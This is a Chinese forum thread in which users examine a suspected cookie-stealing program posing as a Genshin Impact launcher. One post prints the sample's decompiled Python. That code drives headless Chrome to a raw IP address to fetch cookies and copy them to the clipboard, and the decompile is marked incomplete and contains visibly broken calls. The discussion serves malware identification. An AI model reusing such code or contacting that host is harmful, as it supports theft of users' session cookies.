假原神启动器？

显示全部楼层 · 发表于 2024-1-25 15:47:13

GDHJDSYDH 发表于 2024-1-25 11:16
疑似stealer，这玩意儿尝试访问我的steam文件夹里的json（失败），疑似试图窃取cookie等浏览器数据

看到原神启动器就PTSD。。。
mhyprot3.sys这个也没逃过被拉黑的命运

显示全部楼层 · 发表于 2024-1-26 15:59:16

tdsskiller 发表于 2024-1-25 15:47
看到原神启动器就PTSD。。。
mhyprot3.sys这个也没逃过被拉黑的命运

总不会过了这么久漏洞还没修好吧…

显示全部楼层 · 发表于 2024-1-29 20:09:22

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11
import sys
import time
import pyperclip
from selenium import webdriver
from selenium.webdriver import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as ec
from selenium.webdriver.support.ui import WebDriverWait
def get_cookies():
url = 'http://111.180.204.28:4514/cookies'
options = webdriver.ChromeOptions()
options.add_experimental_option('detach', True)
options.add_argument('--headless')
browser = webdriver.Chrome(options = options)
browser.implicitly_wait(5)
browser.get(url)
get_btn = WebDriverWait(browser, 5).until(ec.presence_of_element_located((pyperclip.XPATH, '/html/body/div[1]/main/article/button[1]')))
module = browser.find_element(pyperclip.XPATH, '/html/body/div[1]/main/article/button[1]')
actions = ActionChains(browser)
actions.click(module)
actions.perform()
print('本程序是模拟你访问 http://111.180.204.28:4514/cookies \n然后模拟点击获取cookies \n拿来练手的，我太喜欢python了 \n')
time.sleep(4)
input_box = browser.find_element(pyperclip.NAME, 'input')
cookie = input_box.get_attribute('value')
pyperclip.copy(cookie)
print('cookies复制成功，可能会没复制到...')
browser.close()
browser.quit()
sys.exit()
return None
# WARNING: Decompyle incomplete
if __name__ == '__main__':
get_cookies()
return None

复制代码

疑似经过混淆

显示全部楼层 · 发表于 2024-1-30 16:31:48

卡巴终于kill了

[可疑文件] 假原神启动器？